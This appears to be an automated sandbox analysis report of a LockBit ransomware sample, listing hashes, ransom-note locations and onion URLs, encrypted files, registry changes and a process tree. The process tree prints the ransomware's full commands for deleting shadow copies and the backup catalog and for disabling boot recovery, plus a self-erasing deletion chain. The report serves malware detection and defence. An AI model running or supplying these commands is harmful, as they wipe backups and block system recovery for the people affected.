Analysis
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max time kernel
66s -
max time network
32s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
07/03/2023, 05:03
Static task
static1
Behavioral task
behavioral1
Sample
29.04.20TASKMNGR.exe
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
29.04.20TASKMNGR.exe
Resource
win10v2004-20230220-en
General
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Target
29.04.20TASKMNGR.exe
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Size
148KB
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MD5
a7637dfb6b9408fe020d9333d0ade6dc
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SHA1
930c34743ab12c80512723db0aa7b8b4762fcc84
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SHA256
cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1
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SHA512
a522e3be00f3c32cd318cca7995e0f6f604a0590de3f4c2830920347328d405d178bdd2c2406e3b835cc5e5037e2d2348456b138878644231af94e51fc4b4e94
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SSDEEP
3072:ym0ROZIL87L1yoklfzGp3XjRaDyZYMqqD/A+lHlC:ypMCL8rpHjRa0qqD/NjC
Malware Config
Extracted
C:\Program Files\DVD Maker\de-DE\Restore-My-Files.txt
lockbit
http://lockbit-decryptor.com/?BD61F8CA9173670AB3829213792FB967
http://lockbitks2tvnmwk.onion/?BD61F8CA9173670AB3829213792FB967
Signatures
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Lockbit
Ransomware family with multiple variants released since late 2019.
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1684 bcdedit.exe 1084 bcdedit.exe -
pid Process 1936 wbadmin.exe -
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\ShowUnprotect.crw => C:\Users\Admin\Pictures\ShowUnprotect.crw.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Users\Admin\Pictures\ShowUnprotect.crw.lockbit 29.04.20TASKMNGR.exe -
Deletes itself 1 IoCs
pid Process 3052 cmd.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 29.04.20TASKMNGR.exe Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\29.04.20TASKMNGR.exe\"" 29.04.20TASKMNGR.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\205D.tmp.bmp" 29.04.20TASKMNGR.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
pid Process 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe 1600 29.04.20TASKMNGR.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_MoveDrop32x32.gif.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Chagos.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\TestConvertTo.odt.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE06450_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\J0115855.GIF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Resolute.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_dot.png.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341534.JPG.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AboutBox.zip.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\7-Zip\Lang\mr.txt.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Ceuta.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Media Player\fr-FR\wmlaunch.exe.mui.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00152_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\fr-FR\js\weather.js.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21400_.GIF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Brussels.lockbit 29.04.20TASKMNGR.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\Restore-My-Files.txt 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.xml.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_divider_left.png.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\es-ES\js\settings.js.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02451_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CALENDAR.XML.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGSIDEBR.XML.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_right_rest.png.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Elemental.xml.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14579_.GIF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\ja-JP\css\flyout.css.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\btn_search_up.png.lockbit 29.04.20TASKMNGR.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\Restore-My-Files.txt 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Pyongyang.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\fr-FR\js\settings.js.lockbit 29.04.20TASKMNGR.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\Restore-My-Files.txt 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD00173_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR6F.GIF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightDemiBold.ttf.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\jfluid-server_ja.jar.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\btn_close_up.png.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0386485.JPG.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\TEXTVIEW.JPG.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\120DPI\(120DPI)notConnectedStateIcon.png.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Oral.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Hovd.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0386764.JPG.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02066_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR49F.GIF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\Sounds\People\COUGH.WAV.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Dawson_Creek.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench.nl_zh_4.4.0.v20140623020002.jar.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_zh_CN.jar.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0086420.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\css\weather.css.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_zh_4.4.0.v20140623020002.jar.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\EST5.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files\SuspendPing.mpg.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0212953.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue.css.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF.lockbit 29.04.20TASKMNGR.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_s.png.lockbit 29.04.20TASKMNGR.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 768 vssadmin.exe -
Modifies Control Panel 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\WallpaperStyle = "2" 29.04.20TASKMNGR.exe Set value (str) \REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\TileWallpaper = "0" 29.04.20TASKMNGR.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2828 PING.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1600 29.04.20TASKMNGR.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeTakeOwnershipPrivilege 1600 29.04.20TASKMNGR.exe Token: SeDebugPrivilege 1600 29.04.20TASKMNGR.exe Token: SeBackupPrivilege 856 vssvc.exe Token: SeRestorePrivilege 856 vssvc.exe Token: SeAuditPrivilege 856 vssvc.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: SeBackupPrivilege 956 wbengine.exe Token: SeRestorePrivilege 956 wbengine.exe Token: SeSecurityPrivilege 956 wbengine.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 1600 wrote to memory of 1596 1600 29.04.20TASKMNGR.exe 28 PID 1600 wrote to memory of 1596 1600 29.04.20TASKMNGR.exe 28 PID 1600 wrote to memory of 1596 1600 29.04.20TASKMNGR.exe 28 PID 1600 wrote to memory of 1596 1600 29.04.20TASKMNGR.exe 28 PID 1596 wrote to memory of 768 1596 cmd.exe 30 PID 1596 wrote to memory of 768 1596 cmd.exe 30 PID 1596 wrote to memory of 768 1596 cmd.exe 30 PID 1596 wrote to memory of 1948 1596 cmd.exe 33 PID 1596 wrote to memory of 1948 1596 cmd.exe 33 PID 1596 wrote to memory of 1948 1596 cmd.exe 33 PID 1596 wrote to memory of 1684 1596 cmd.exe 35 PID 1596 wrote to memory of 1684 1596 cmd.exe 35 PID 1596 wrote to memory of 1684 1596 cmd.exe 35 PID 1596 wrote to memory of 1084 1596 cmd.exe 36 PID 1596 wrote to memory of 1084 1596 cmd.exe 36 PID 1596 wrote to memory of 1084 1596 cmd.exe 36 PID 1596 wrote to memory of 1936 1596 cmd.exe 37 PID 1596 wrote to memory of 1936 1596 cmd.exe 37 PID 1596 wrote to memory of 1936 1596 cmd.exe 37 PID 1600 wrote to memory of 3052 1600 29.04.20TASKMNGR.exe 43 PID 1600 wrote to memory of 3052 1600 29.04.20TASKMNGR.exe 43 PID 1600 wrote to memory of 3052 1600 29.04.20TASKMNGR.exe 43 PID 1600 wrote to memory of 3052 1600 29.04.20TASKMNGR.exe 43 PID 3052 wrote to memory of 2828 3052 cmd.exe 45 PID 3052 wrote to memory of 2828 3052 cmd.exe 45 PID 3052 wrote to memory of 2828 3052 cmd.exe 45 PID 3052 wrote to memory of 2828 3052 cmd.exe 45 PID 3052 wrote to memory of 2896 3052 cmd.exe 46 PID 3052 wrote to memory of 2896 3052 cmd.exe 46 PID 3052 wrote to memory of 2896 3052 cmd.exe 46 PID 3052 wrote to memory of 2896 3052 cmd.exe 46 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\29.04.20TASKMNGR.exe"C:\Users\Admin\AppData\Local\Temp\29.04.20TASKMNGR.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet2⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:768
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:1684
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
PID:1084
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C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet3⤵
- Deletes backup catalog
PID:1936
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\29.04.20TASKMNGR.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\29.04.20TASKMNGR.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:2828
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\29.04.20TASKMNGR.exe"3⤵PID:2896
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:856
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:956
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:892
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1564
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1KB
MD5a83809c5b900881c286a9ad182ecf2fd
SHA1087e460e7143977b48ee68505af838af2f1c0df2
SHA256ceb532e364028013b671bcf6a1f268fdaa10c396a17a02af56aee5834733cbe1
SHA5120ab60ca638418aa06df5e24d07ba07a123208eb1fb8dd179fca9d51f200be3fbaff5ce1a80d2ecd692758b11df0262b823c79ef630f706308a7579538c22f6c5